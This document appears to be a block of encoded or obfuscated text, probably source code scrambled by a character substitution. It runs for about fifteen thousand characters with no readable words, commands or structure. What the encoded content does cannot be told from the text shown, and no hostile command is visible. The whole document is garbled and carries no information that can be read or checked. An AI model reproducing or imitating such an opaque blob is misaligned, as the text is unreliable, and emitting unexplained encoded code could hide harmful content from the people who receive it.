VZ[A\[@P??TSYRSL] OLX^FPPZQAFAG\[RuWW]YL^QYEQ[YW_MTSj\GTTS???\STSYRSL] VZ[A\[@P???\XFRSE]FAG\[Ru\RGWQZ[WSVF[YM^_VP?\S\RGWQZ[WSVF\XFRSE]  \XFRSE]_Bj\F\@\] _^_P\XFRSE]???\S\XFRSE]OLX^FPPZQA \XFRSE]TSYRSL] GPA@G[AG@P?H?GPA@G[STYFP?H?S@[VA\Z[GBXM\GF\j]CW[Q\M[YM^_VP?N?\S\BjCDOETLDWORWW]YL^QYEQ[Y IIWW]YL^QYEQ[YWW]YL^QYEQ[YGPA@G[?OZLGBXLMAuRPAjZEA\Z[\BjCDOETLDWORTGGTL?\SOLX^FPPZQAOZLGBXLMAOZLGBXLMATGGTL?OZLGBXLMAnWW]YL^QYEQ[Y [YM^_VPh[YM^_VP?\S\BjCDOETLDWOR OZLGBXLMAOZLGBXLMA\RGWQZ[WSVFOZLGBXLMAMPM[@YYAG@P?u@EQTAPjZEA\Z[\RGWQZ[WSVFOZLGBXLMA\BjCDOETLDWOR?H????S@[VA\Z[D _PVCVO[WSLCW?N?\S\BjCDOETLDWORWW]YL^QYEQ[Y II\RGWQZ[WSVF\RGWQZ[WSVFGPA@G[?OZLGBXLMAuRPAjZEA\Z[WW]YL^QYEQ[YTGGTL?\SWW]YL^QYEQ[YOZLGBXLMAIIPXEALOZLGBXLMAGPA@G[?MTCZRLRTGGTL????SZGPTV]OZLGBXLMATFP@jSAG _W SYWSTOX[\GZN?\SOLX^FPPZQA SYWSTOX[\GZIISYWSTOX[\GZIIuWW]YL^QYEQ[YSYWSTOX[\GZVZ[A\[@P?\S@FRMD^RTVPRGEL_R\RYSYWSTOX[\GZSTYFPNMTCZRLRnP@jSAG _W hSYWSTOX[\GZVZ[A\[@PH??DDAPGjYE_B@SFOFC\VPSYWSTOX[\GZ ?\S\LYGF@GDVCLPD[SYWSTOX[\GZN\_ XFSCDRCQ DGS[ _TQ\_ XFSCDRCQ?\SOLX^FPPZQA\BjCDOETLDWORuZEVTV]Pj\[CTY\QTAPSYWSTOX[\GZAG@P?HPYFP\Su\RGWQZ[WSVFSYWSTOX[\GZN?MTCZRLRnP@jSAG _W hSYWSTOX[\GZ?H?H?u@EQTAPjZEA\Z[\BjCDOETLDWORMTCZRLR\RGWQZ[WSVF?H?S@[VA\Z[TCQ\A^ YZXRVFjY[RS?N?AGLN????YA[E WAj\RGWQZ[WSVF\RGWQZ[WSVF
uPGGZGjRPAjYTFA[@YY?\S?WW]YL^QYEQ[YYA[E WAjPXEALYA[E WAjnOLX^FPPZQAhPXEALYA[E WAjn\BjCDOETLDWORh?WW]YL^QYEQ[YYA[E WAjnOLX^FPPZQAhTGGTLpjpggzgpjetgfppjvzgpjpggzgpjvzxe|ypjpggzgpj`fpgjpggzgAG@P?N?O_PS_OFW CPY\u\BjCDOETLDWORGFWPOXC?????jPSu\RGWQZ[WSVFYA[E WAjnWW]YL^QYEQ[Yh????\SWW]YL^QYEQ[Y O_PS_OFW CPY\OLX^FPPZQA jPSjPSO_PS_OFW CPY\GPA@G[?H?[ ECGTBWRLRTYOLX^FPPZQA ?\SQPS\[PQOLX^FPPZQA  N?X\ZAE [FEY\BREXFBjPE???\Su\RGWQZ[WSVFX\ZAE [FEnhN?BT[[XQWuWW]YL^QYEQ[YX\ZAE [FEnhSTYFP[@YYk??\SOLX^FPPZQA BT[[XQW\BjCDOETLDWORBT[[XQWWW]YL^QYEQ[Y BRW^TOAOBRZT[TBSAN???@ZXSAO]_Zu\RGWQZ[WSVFX\ZAE [FEnhOLX^FPPZQA
u\BjCDOETLDWORX\ZAE [FEnhOLX^FPPZQASTYFP[@YY ?\S@ZXSAO]_ZBT[[XQWuWW]YL^QYEQ[YX\ZAE [FEnhX\ZAE [FEnh\RGWQZ[WSVF?H?H?@[FPAX\ZAE [FEBT[[XQW@ZXSAO]_Z?H?HVTAV]a]GZBTWYP_WTCQC[[EDW^N?HVTAV]pMVPEA\Z[_WTCQC[[EDW^N?H?H?S@[VA\Z[OB AP[@MTY]VQE LOACAE]YQFW?N????\S\RGWQZ[WSVFACAE]YQFWGPA@G[?\SWW]YL^QYEQ[YWW]YL^QYEQ[Y ACAE]YQFWCBLWLQ WE^\RN?SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN?\SR^BS]LPM\TPF\RGWQZ[WSVFOWEAEM@\WAG@PGPA@G[?H?H????\SWW]YL^QYEQ[YOLX^FPPZQAACAE]YQFWCBLWLQ WE^\RN?SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN?\SR^BS]LPM\TPFFAG\EVFYTF]PFOWEAEM@\WGPA@G[?\S\BjCDOETLDWOROWEAEM@\W\RGWQZ[WSVFSTYFPNZ YAB\Y @LTe}ejxtzgjcpgf|z{LL]LXW@W^@Z YAB\Y @LT?YTQMLF_PFQjEGPRjGPEYTVPjVTYYWTV^\BjCDOETLDWOR\BjCDOETLDWOROWEAEM@\W?\SOLX^FPPZQAYTQMLF_PFQjYTQMLF_PFQjOWEAEM@\WR^BS]LPM\TPFYTQMLF_PFQjGPA@G[?H?H?H?\S\RGWQZ[WSVF\RGWQZ[WSVFACAE]YQFWCBLWLQ WE^\RN???SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN???\SR^BS]LPM\TPF\BjCDOETLDWORTGGTL\BjCDOETLDWOR\RGWQZ[WSVFTGGTLiiiOWEAEM@\WGPA@G[????\SOLX^FPPZQAOWEAEM@\WWW]YL^QYEQ[YSTYFPN?YTQMLF_PFQjEGPRjGPEYTVPjVTYYWTV^WW]YL^QYEQ[YWW]YL^QYEQ[YOWEAEM@\W?\S\RGWQZ[WSVF YTQMLF_PFQjYTQMLF_PFQjOWEAEM@\WR^BS]LPM\TPFYTQMLF_PFQjGPA@G[????H?H?H?GPA@G[ACAE]YQFW?H?S@[VA\Z[BWGXYB_VQGDCMB@ME] R[FPj?N?\S\RGWQZ[WSVF B@ME] R[FPjII\RGWQZ[WSVFB@ME] R[FPjWW]YL^QYEQ[YSTYFP\RGWQZ[WSVFB@ME] R[FPjOLX^FPPZQASTYFPGPA@G[STYFP????\S\RGWQZ[WSVFWW]YL^QYEQ[Y B@ME] R[FPjCBLWLQ WE^\RN???SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN?\SR^BS]LPM\TPFOLX^FPPZQAOWEAEM@\WAG@PGPA@G[AG@P?H?H?\S\BjCDOETLDWOR\RGWQZ[WSVFB@ME] R[FPjCBLWLQ WE^\RN??SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN?\SR^BS]LPM\TPFFAG\EVFYTF]PFOWEAEM@\WGPA@G[AG@P?H?uA\XPZ@ASYLBP\R]A??SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN????\SOLX^FPPZQAOWEAEM@\WWW]YL^QYEQ[YSTYFPVZ[A\[@P???YTQMLF_PFQjEGPRjGPEYTVPjVTYYWTV^\BjCDOETLDWOROLX^FPPZQAOWEAEM@\W?\SWW]YL^QYEQ[Y YTQMLF_PFQjYTQMLF_PFQjOWEAEM@\WR^BS]LPM\TPFYTQMLF_PFQjGPA@G[AG@P?H?H?\SOLX^FPPZQAOLX^FPPZQAB@ME] R[FPjCBLWLQ WE^\RN???SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN??\SR^BS]LPM\TPFWW]YL^QYEQ[YTGGTL\RGWQZ[WSVFWW]YL^QYEQ[YTGGTLiiiOWEAEM@\WGPA@G[AG@P???H?SZGPTV]CBLWLQ WE^\RnhTFOWEAEM@\WN?\SOLX^FPPZQAOWEAEM@\WWW]YL^QYEQ[YSTYFPVZ[A\[@P?YTQMLF_PFQjEGPRjGPEYTVPjVTYYWTV^OLX^FPPZQAOLX^FPPZQAOWEAEM@\W?\S\BjCDOETLDWORYTQMLF_PFQjYTQMLF_PFQjOWEAEM@\WR^BS]LPM\TPFYTQMLF_PFQjGPA@G[AG@P??H?H?GPA@G[STYFP???H?S@[VA\Z[GZ^ ADZSCBOB@ME] R[FPj?N^WL_O\ IWGXSCB jWZ^WL_O\k????\S\BjCDOETLDWORB@ME] R[FPjIIB@ME] R[FPjGPA@G[?GPA@G[\RGWQZ[WSVF\RGWQZ[WSVFOLX^FPPZQAB@ME] R[FPjC_ FX[SE
C_ FX[SEnh?H?S@[VA\Z[\Q@GBOP[AMM^MM\XFRSE]^GXLBMPLXjGZ_MCYFS]Qj_OD[@YY?N_V]G ]_\YTQTF@BW__V]G ]_\
_V]G ]_\_V]G ]_\?\S\BjCDOETLDWOR \XFRSE]II\XFRSE]GPA@G[\XFRSE]?TR__OT[FB]CXZYWW]YL^QYEQ[Y^GXLBMPLXjGZ_M\RGWQZ[WSVF?G\OVC_OZ]D[QMjM?^S]]_jYESWR?B]\YP^S]]_jYESWR			 N?GQT YVZS\BjCDOETLDWOR\XFRSE]TR__OT[FB]CXZY?\SGQT YVZSSTYFPWGPT^?BFAFVYXZGQT YVZSWW]YL^QYEQ[YTR__OT[FB]CXZY?VQRFQT[B QAWW]YL^QYEQ[Y\XFRSE]\RGWQZ[WSVFBFAFVYXZ?\SVQRFQT[B QASTYFPIIVQRFQT[B QABFAFVYXZkN?G\OVC_OZ]D[QMjMWW]YL^QYEQ[Y\XFRSE]BFAFVYXZ??\XFRSE]\BjCDOETLDWOR\XFRSE]BFAFVYXZ?VZ[A\[@P?H?SCT\[YLF_\RGWQZ[WSVF\XFRSE]BFAFVYXZVQRFQT[B QABFAFVYXZ???\S\BjCDOETLDWORWW]YL^QYEQ[YSCT\[YLF_N?G\OVC_OZ]D[QMjM\BjCDOETLDWOR\XFRSE]BFAFVYXZ?\XFRSE]WW]YL^QYEQ[Y\XFRSE]BFAFVYXZ?VZ[A\[@P?H?P\ R\DFD\BjCDOETLDWOR^GXLBMPLXjGZ_M\BjCDOETLDWORSCT\[YLF_\RGWQZ[WSVF?LS^XVPL\OQBV\RGWQZ[WSVF\XFRSE]P\ R\DFDVQRFQT[B QA?\SLS^XVPL\OQBVSTYFPWGPT^??G\OVC_OZ]D[QMjMOLX^FPPZQA\XFRSE]GQT YVZS?SCSEQTQCXP\RGWQZ[WSVF\XFRSE]GQT YVZSLS^XVPL\OQBVWW]YL^QYEQ[YP\ R\DFDGQT YVZS?\SCYFS]Qj_OD[@YYN?E_SZVZ_S@ \RGWQZ[WSVF CYFS]Qj_ODSCSEQTQCXP?\SOLX^FPPZQA E_SZVZ_S@ G\OVC_OZ]D[QMjME_SZVZ_S@ ???HPYFPN?G\OVC_OZ]D[QMjMSCSEQTQCXPT^LFBSY OjEDe}ejxtzgjcpgf|z{TXDRVM]T^LFBSY OjED ??H?\XFRSE]\RGWQZ[WSVF\XFRSE]LS^XVPL\OQBV\RGWQZ[WSVFP\ R\DFD???H??GPA@G[G\OVC_OZ]D[QMjM\XFRSE]???H?S@[VA\Z[RDFX\_YVQF@ \_ACAE]YQFW?N???GPA@G[???H?S@[VA\Z[[CQ^X@OAVEQACAE]YQFW?N??\SOLX^FPPZQA ACAE]YQFWGPA@G[???\SQPS\[PQWW]YL^QYEQ[Y  GPA@G[ACAE]YQFW?^LY[Q__LZFPEEWPPYMG@]twfeta}OLX^FPPZQA		?\SWW]YL^QYEQ[YWW]YL^QYEQ[Y^LY[Q__LOLX^FPPZQAACAE]YQFWGPA@G[?GPA@G[ACAE]YQFW?H?S@[VA\Z[Cj_EG_ ELDQ\\XFRSE]?N?\S\BjCDOETLDWOR \XFRSE]II\XFRSE]GPA@G[\XFRSE]?X_XGPF\^WR@C\Q@GBOP[AMM^MM\XFRSE]WW]YL^QYEQ[YOLX^FPPZQA?X_XGPF\^WR@C\Q@GBOP[AMM^MMX_XGPF\^WR@COLX^FPPZQA\BjCDOETLDWOR?\SWW]YL^QYEQ[YX_XGPF\^WR@CX_XGPF\^WR@CWW]YL^QYEQ[YWW]YL^QYEQ[YX_XGPF\^WR@C????\S\RGWQZ[WSVFX_XGPF\^WR@CX_XGPF\^WR@C\XFRSE]RCPRRPRTLO] e}ej|{ajxtme}ej|{ajxtmWSFFDO@[@jRCPRRPRTLO] ?\SBWGXYB_VQGDCMX_XGPF\^WR@CN??X_XGPF\^WR@C\Q@GBOP[AMM^MMX_XGPF\^WR@COLX^FPPZQAWW]YL^QYEQ[Y???X_XGPF\^WR@C\Q@GBOP[AMM^MMX_XGPF\^WR@C\RGWQZ[WSVF\RGWQZ[WSVF?\S\RGWQZ[WSVFX_XGPF\^WR@CX_XGPF\^WR@CWW]YL^QYEQ[YOLX^FPPZQAX_XGPF\^WR@C?H??GPA@G[WW]YL^QYEQ[YX_XGPF\^WR@C
X_XGPF\^WR@C\XFRSE]??H?S@[VA\Z[OW@@M YY\XFRSE]?N?\S\BjCDOETLDWOR\XFRSE]IIQPS\[PQWW]YL^QYEQ[Y  GPA@G[STYFP?\S\BjCDOETLDWOR\RGWQZ[WSVF\XFRSE]GPA@G[AG@P????DLBYMF@B[QXM^ZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y MM?\SWW]YL^QYEQ[YOLX^FPPZQA\XFRSE]WZ D^TON?SZGPTV]WZ D^TOnhTFYTBR[ZELN?\S\BjCDOETLDWORYTBR[ZEL DLBYMF@B[QXM^GPA@G[AG@P?H???H?jQQOLX^FPPZQA\RGWQZ[WSVF twfeta}OLX^FPPZQA?\SWW]YL^QYEQ[YOLX^FPPZQA\XFRSE]jQXN?befETVPGwYZV^V@FAZX\OPGAGT[FEZGA??SZGPTV]jQXnhTF^MPXEA@QLXN?\S^MPXEA@QLXjQQGPA@G[AG@P?H?H?GPA@G[STYFP???H?S@[VA\Z[]MQjBBBV__WLW@XFD??N?\S\FFPAjrpanOLX^FPPZQAhII\RGWQZ[WSVFjrpan\RGWQZ[WSVFhII\RGWQZ[WSVF\BjCDOETLDWOR GPA@G[?PjYSRCATj@uRPAjZEA\Z[\BjCDOETLDWORTGGTL?\S\BjCDOETLDWORPjYSRCATj@GPA@G[?YE_TZYFAG\[Rjrpan\BjCDOETLDWORh?GSAC^QLF]MTGGTL?\S\FFPAPjYSRCATj@nAhGSAC^QLF]MnhFAG\[RPjYSRCATj@nAh?\S\FFPAPjYSRCATj@n\BjCDOETLDWORhWW]YL^QYEQ[YPjYSRCATj@nOLX^FPPZQAhN?SZGPTV]PjYSRCATj@nOLX^FPPZQAhTF]ARY@L_DSVN???\SWW]YL^QYEQ[Y]ARY@L_DSV\FFPA]ARY@L_DSVnAhGSAC^QLF]MnhFAG\[R]ARY@L_DSVnAh?H?H?C@Y^\SOADROCTSTYFP?SZGPTV]GSAC^QLF]MTFVG]M[XAASND\RPM[Fe}ejxtzgjcpgf|z{CB]TWRADD\RPM[F ?\SVG]M[XAASVZ[A\[@P?C@Y^\SOADROCTWW]YL^QYEQ[YWW]YL^QYEQ[Y
]TF]jPD@TYFVG]M[XAASYE_TZYVG]M[XAASYE_TZY?\SC@Y^\SOADROCTWGPT^?H?uQPEGZC\F\Z[FV]PQ@YPG??\SC@Y^\SOADROCTGPA@G[????\SOLX^FPPZQAOLX^FPPZQA N????OLX^FPPZQA S@[VA\Z[@FPYE_TZYN?PV]Zi[	fv~YE_TZY\RGWQZ[WSVF?H??H?H?S@[VA\Z[CT]SS VY[jQ@ZYYFF?N?\SOLX^FPPZQA OLX^FPPZQA GPA@G[STYFP???C_ FX[SEuRPAjZEA\Z[OLX^FPPZQA ????\SWW]YL^QYEQ[YC_ FX[SEII\RGWQZ[WSVFC_ FX[SE\RGWQZ[WSVFGPA@G[STYFP?FZ[\DLjPFX_C\[A\BjCDOETLDWORC_ FX[SEk?\SFZ[\DLjPFX_C\BjCDOETLDWORFZ[\DLjPFX_C GPA@G[STYFP?GPA@G[AG@P?H?S@[VA\Z[[VjZ@ZAT TO\[YM^_VP@O F@PZF]W\T^?N?xPXVTV]PQTQTEAPG@[YZTQBTAPGXTG^??\SOLX^FPPZQA \BjCDOETLDWORIIWW]YL^QYEQ[Y\BjCDOETLDWOR GPA@G[STYFP??\SCT]SS VY[jQ@ZYYFFGPA@G[AG@P?PjYSRCATj@uRPAjZEA\Z[OLX^FPPZQATGGTL?\S\BjCDOETLDWORPjYSRCATj@PjYSRCATj@TGGTL?\S\FFPAPjYSRCATj@nWW]YL^QYEQ[YhIIWW]YL^QYEQ[YPjYSRCATj@nOLX^FPPZQAhN????B_[QZFEGETGGTL???\S\FFPAPjYSRCATj@nAhPjYSRCATj@nEhPjYSRCATj@nWhN?EGZC\F\Z[FAGZ[R[ZX\[TYALEP??B_[QZFEGEn\RGWQZ[WSVF FAG\[RPjYSRCATj@nEhhTGGTLAFAG\[RPjYSRCATj@nAhEFAG\[RPjYSRCATj@nEhWFAG\[RPjYSRCATj@nWhWW]YL^QYEQ[Y\FFPAPjYSRCATj@n\BjCDOETLDWORh
\[APjYSRCATj@nWW]YL^QYEQ[Yh\RGWQZ[WSVFWW]YL^QYEQ[Y[?H?PjYSRCATj@TGGTL\RGWQZ[WSVFB_[QZFEGE?H?SCT\[YLF_WW]YL^QYEQ[Y [YM^_VP??\S\FFPAPjYSRCATj@nOLX^FPPZQAhnSCT\[YLF_hN?PjYSRCATj@nOLX^FPPZQAhnSCT\[YLF_hn\RGWQZ[WSVFhWW]YL^QYEQ[Y????PjYSRCATj@nWW]YL^QYEQ[YhnSCT\[YLF_hn\BjCDOETLDWORh???PjYSRCATj@n\RGWQZ[WSVFhnSCT\[YLF_hn[h@O F@PZF]W\T^
?\SFWDSWO@V[[ CFM_\MEPjYSRCATj@nOLX^FPPZQAhnSCT\[YLF_hnWh@O F@PZF]W\T^N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\RGWQZ[WSVF ?GPA@G[STYFP?H??HPYFPN?GE^Y^@VFBXAASZLDCW[WR\?^FL]SEOOOY^Q_GE^Y^@VFWW]YL^QYEQ[YZFPEEWPPYMG@][YM^_VP\RGWQZ[WSVF?\SFWDSWO@V[[ CFM_\ME^FL]SEOOOY^Q_@O F@PZF]W\T^N?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YOLX^FPPZQA????GPA@G[STYFP????H?PjYSRCATj@n\RGWQZ[WSVFhnSCT\[YLF_hTGGTLAPMMV]RD[[MRkE[YM^_VPW^FL]SEOOOY^Q_\RGWQZ[WSVF\BjCDOETLDWOROLX^FPPZQA[@O F@PZF]W\T^
??H?B]\YP\RGWQZ[WSVFPjYSRCATj@n\BjCDOETLDWORhN?SLBPDDGTFSDM[@YY????]_OFWOVP@GZ[@YY???SZGPTV]PjYSRCATj@n\RGWQZ[WSVFhTFDATMWD[[@[DXL_PYZDN???\S]_OFWOVP@GZ[@YYII\[AXL_PYZDnOLX^FPPZQAh	]_OFWOVP@GZNOVD[O^SWMPQMZDZQjj[]COVD[O^SW????]_OFWOVP@GZ\[AXL_PYZDnWW]YL^QYEQ[Yh?SLBPDDGTFSDMDATMWD[[@[D??H?H?\SSLBPDDGTFSDM[@YYWGPT^?\LYGF@GDVCLPD[PjYSRCATj@n\BjCDOETLDWORhnSLBPDDGTFSDMhnWh?@[FPAPjYSRCATj@nWW]YL^QYEQ[YhnSLBPDDGTFSDMh?H??u@EQTAPjZEA\Z[OLX^FPPZQAPjYSRCATj@\RGWQZ[WSVF?\BjCDOETLDWOR OLX^FPPZQA?GPA@G[AG@P?H???S@[VA\Z[\Q]][FL@EV^VXY_X_VEQRS?N????\QA_GCYB_A[OLuOLX^FPPZQA _X_VEQRSTGGTL\RGWQZ[WSVF OLX^FPPZQASTYFP\RGWQZ[WSVFAG@P\RGWQZ[WSVF\RGWQZ[WSVFTGGTLOLX^FPPZQAOLX^FPPZQA\BjCDOETLDWOROLX^FPPZQA ?\SOLX^FPPZQAOLX^FPPZQA \FjBEjPGGZG\QA_GCYB_A[OLGPA@G[TGGTLSTYFP?AWX ALZ@YVEOLX^FPPZQAWW]YL^QYEQ[Y 
\[ABEjGPXZAPjGPAG\PCPjGPFEZ[FPjVZQP\QA_GCYB_A[OL?GPA@G[TGGTLAWX ALZ@YVEAWX ALZ@YVEWW]YL^QYEQ[Y OLX^FPPZQA 
FAG\[RBEjGPXZAPjGPAG\PCPjWZQL\QA_GCYB_A[OL?H?S@[VA\Z[CSQVXTVQPE[jXCA]ARY@L_DSV?N?ZYTBPBQVu\BjCDOETLDWOR ]ARY@L_DSVnWhSMG@] TDEQPV_E]EQSMG@]??\S\BjCDOETLDWORZYTBPBQVGPA@G[STYFP?\SZYTBPBQVN?\SPXEAL]ARY@L_DSVn[hGPA@G[STYFP?\VR^DX^\PD]u\RGWQZ[WSVF  ]ARY@L_DSVnEh?\S\VR^DX^\PD]NX^SOSWEe}ej|{ajxtme}ej|{ajxtmWGjWC_[MX^SOSWE ?DDAPGjYE_B@SFOFC\VP]ARY@L_DSVnEh?\VR^DX^\PD]\LYGF@GDVCLPD[]ARY@L_DSVnEh?H?\SOLX^FPPZQA \BjCDOETLDWORuZEVTV]Pj\[CTY\QTAP]ARY@L_DSVnEhAG@P?GPA@G[\VR^DX^\PD]QVEF DC]_e}ejxtzgjcpgf|z{GS_[PFQVEF DC]_?H?\SFWDSWO@V[[ CFM_\ME]ARY@L_DSVnEhZYTBPBQVGPA@G[STYFP??\SWW]YL^QYEQ[Y \BjCDOETLDWORuZEVTV]Pj\[CTY\QTAP]ARY@L_DSVnEhAG@P???GPA@G[AG@P?H???S@[VA\Z[[@LV^ZTjZQLW[?N?\SWW]YL^QYEQ[Y OLX^FPPZQA GPA@G[?PjYSRCATj@uRPAjZEA\Z[OLX^FPPZQATGGTL???\S\BjCDOETLDWORPjYSRCATj@GPA@G[?\S\FFPAPjYSRCATj@n\BjCDOETLDWORhII\RGWQZ[WSVFPjYSRCATj@nOLX^FPPZQA hN?B_[QZFEGETGGTL?\S\FFPAPjYSRCATj@nAhPjYSRCATj@nEhPjYSRCATj@nWhN????B_[QZFEGEnWW]YL^QYEQ[Y FAG\[RPjYSRCATj@nEhhTGGTLAFAG\[RPjYSRCATj@nAhEFAG\[RPjYSRCATj@nEhWFAG\[RPjYSRCATj@nWhWW]YL^QYEQ[Y\FFPAPjYSRCATj@nWW]YL^QYEQ[Y h
\[APjYSRCATj@nWW]YL^QYEQ[Y hOLX^FPPZQAOLX^FPPZQA?H?PjYSRCATj@TGGTLWW]YL^QYEQ[Y B_[QZFEGEES^QCXRVROWFES^QCX?H?\SPXEALPjYSRCATj@nOLX^FPPZQA hN?uQPYPAPjZEA\Z[WW]YL^QYEQ[Y?GPA@G[T F j@ABFMYF_MBFMBT F j@ABF?H?FATA\V[A@ ^LMSTYFP??\S[A@ ^LMGPA@G[??[A@ ^LMAG@P?\S\BjCDOETLDWOR \RGWQZ[WSVF u\BjCDOETLDWOR ?PYFP\S\RGWQZ[WSVF OLX^FPPZQAu\BjCDOETLDWOR?\SOLX^FPPZQA OLX^FPPZQAu\RGWQZ[WSVFAG@P?\S\BjCDOETLDWOR \BjCDOETLDWORIIOLX^FPPZQA WW]YL^QYEQ[YGPA@G[?Z\ZD^X[^^GA]ZXPj@GY??Bj\OMF R\BjCDOETLDWOR OLX^FPPZQA
BEjYZR\[j@GYZ\ZD^X[^^GA\RGWQZ[WSVF ?RWMGPDCGVLSTYFP?LDZQjABXAG@P?_PA[YjDD^ ?SZGPTV]PjYSRCATj@n\BjCDOETLDWOR hTFSCT\[YLF_]ARY@L_DSVN?\SWW]YL^QYEQ[Y]ARY@L_DSVIIPXEAL]ARY@L_DSVnAhIIPXEAL]ARY@L_DSVnEhIIPXEAL]ARY@L_DSVnWhN?@[FPAPjYSRCATj@n\RGWQZ[WSVF hnSCT\[YLF_h?RWMGPDCGVLAG@P?VZ[A\[@P?H?\S\BjCDOETLDWOR\[A]ARY@L_DSVnWW]YL^QYEQ[Y hII\[A]ARY@L_DSVnOLX^FPPZQAhN???Z^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVFWW]YL^QYEQ[Y]ARY@L_DSVnEh?\LYGF@GDVCLPD[]ARY@L_DSVnWh?@[FPAPjYSRCATj@nWW]YL^QYEQ[Y hnSCT\[YLF_h?RWMGPDCGVLAG@P?VZ[A\[@P?H?\S_PA[YjDD^ 	WGPT^?_PA[YjDD^ ?W_MTSj\GTTSWW]YL^QYEQ[YWW]YL^QYEQ[Y]ARY@L_DSVnAh\BjCDOETLDWOROLX^FPPZQAMSSM TS ?Y\FAAWX ALZ@YVE][XLWAWjFMSYF\Q]][FL@EV^VXYZ\ZD^X[^^GAW_MTSj\GTTS?\SAWX ALZ@YVELDZQjABXSTYFP?\SAWX ALZ@YVE	OLX^FPPZQAWW]YL^QYEQ[YOLX^FPPZQA?\SAWX ALZ@YVE	N???Y\FAAWX ALZ@YVE][XLWAWjFMSYF\Q]][FL@EV^VXYZ\ZD^X[^^GAW_MTSj\GTTS???\SAWX ALZ@YVELDZQjABXSTYFP????H?\SAWX ALZ@YVE	N?PjYSRCATj@nOLX^FPPZQA hnSCT\[YLF_hnWW]YL^QYEQ[Yh?RWMGPDCGVLAG@P?VZ[A\[@P????H?\SAWX ALZ@YVEN?\SCSQVXTVQPE[jXCA]ARY@L_DSVN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF\RGWQZ[WSVF\BjCDOETLDWOR]ARY@L_DSVnEh?\LYGF@GDVCLPD[]ARY@L_DSVnWh????@[FPAPjYSRCATj@nWW]YL^QYEQ[YhnSCT\[YLF_h?HPYFPN???PjYSRCATj@n\RGWQZ[WSVFhnSCT\[YLF_hnOLX^FPPZQAh?H?RWMGPDCGVLAG@P?VZ[A\[@P?H?\SWW]YL^QYEQ[Y][XLWAWjFMSYF\RGWQZ[WSVF ]ARY@L_DSVnAhWW]YL^QYEQ[YSTYFPN?\LYGF@GDVCLPD[]ARY@L_DSVnWh?@[FPAPjYSRCATj@nOLX^FPPZQAhnSCT\[YLF_h?RWMGPDCGVLAG@P?VZ[A\[@P??H?Y\FAjWC \OGDGjLBSFMPY\Q]][FL@EV^VXYBj\OMF R\RGWQZ[WSVFBj\OMF R
STYFP

\RGWQZ[WSVFWW]YL^QYEQ[Y]ARY@L_DSVnAh\RGWQZ[WSVFWW]YL^QYEQ[Y    ?\SjWC \OGLDZQjABXSTYFP???\SjWC \OGN?\SCSQVXTVQPE[jXCA]ARY@L_DSVN?beaTRvYZ@QYTOLF\[RYPAZ[???Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[YWW]YL^QYEQ[Y]ARY@L_DSVnEh????\LYGF@GDVCLPD[]ARY@L_DSVnWh?@[FPAPjYSRCATj@n\BjCDOETLDWORhnSCT\[YLF_h??HPYFPN?PjYSRCATj@nWW]YL^QYEQ[YhnSCT\[YLF_hn\BjCDOETLDWORh?H?RWMGPDCGVLAG@P??VZ[A\[@P???H?\S\RGWQZ[WSVFDGjLBSFMPYWW]YL^QYEQ[YDGjLBSFMPYWW]YL^QYEQ[Y ]ARY@L_DSVnAhOLX^FPPZQASTYFPN?\LYGF@GDVCLPD[]ARY@L_DSVnWh?@[FPAPjYSRCATj@n\BjCDOETLDWORhnSCT\[YLF_h?RWMGPDCGVLAG@P????VZ[A\[@P?H?PjYSRCATj@n\RGWQZ[WSVFhnSCT\[YLF_hn\BjCDOETLDWORh?RWMGPDCGVLAG@P?H?\SLDZQjABXRWMGPDCGVLPXEALPjYSRCATj@nWW]YL^QYEQ[YhNZESD\LBYVX]e}ejxtzgjcpgf|z{^j[PLSjZESD\LBYVX]???VTA^\ZF STYFP?SZGPTV]PjYSRCATj@n\BjCDOETLDWORhTF_]G] EETDN?TVV@X@YTAPYPT^LW@V^PASZGbewYZV^cTG\TA\Z[F??\S\[A_]G] EETDn\RGWQZ[WSVFhN?VTA^\ZF AG@PZY\^G^Y^[BGVPjOW ZY\^G^Y^[B?WGPT^?H?H???\SVTA^\ZF N?u@EQTAPjZEA\Z[\RGWQZ[WSVF \RGWQZ[WSVF\RGWQZ[WSVFOLX^FPPZQA???Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR?SZGPTV]PjYSRCATj@nWW]YL^QYEQ[YhTFDATMWD[[@[D_]G] EETDN?\LYGF@GDVCLPD[_]G] EETDnWh?@[FPAPjYSRCATj@nOLX^FPPZQAhnDATMWD[[@[Dh???H????H??HPYFP\SLDZQjABXN?bed@PGLyZZEFGVFPAQPFVG\EAZG??EES SVLFZOBuRPAjZEA\Z[WW]YL^QYEQ[Y ?\S\RGWQZ[WSVF EES SVLFZOBII\RGWQZ[WSVFEES SVLFZOB\RGWQZ[WSVF u@EQTAPjZEA\Z[WW]YL^QYEQ[YWW]YL^QYEQ[Y\RGWQZ[WSVFOLX^FPPZQA?H?\SPXEALPjYSRCATj@n\RGWQZ[WSVFhuQPYPAPjZEA\Z[\BjCDOETLDWOR?PYFP\SRWMGPDCGVLu@EQTAPjZEA\Z[OLX^FPPZQAPjYSRCATj@WW]YL^QYEQ[Y?H?S@[VA\Z[S\TT^F[[QDCMAAC^F\XFRSE]??N?GPA@G[\BjCDOETLDWOR\XFRSE]WW]YL^QYEQ[Y\XFRSE]OLX^FPPZQASTYFPIIWW]YL^QYEQ[Y\XFRSE]\BjCDOETLDWORSTYFPIIOLX^FPPZQA\XFRSE]\BjCDOETLDWOR  STYFPIIWW]YL^QYEQ[Y\XFRSE]\RGWQZ[WSVFSTYFPII\BjCDOETLDWOR\XFRSE]\BjCDOETLDWOR STYFPIIWW]YL^QYEQ[Y\XFRSE]WW]YL^QYEQ[YSTYFP?H?S@[VA\Z[PCBX QjTXV[W\jLOPQLX\XFRSE]?N?\SS\TT^F[[QDCMAAC^F\XFRSE]GPA@G[STYFP?\SBWGXYB_VQGDCM\XFRSE]GPA@G[AG@P?\S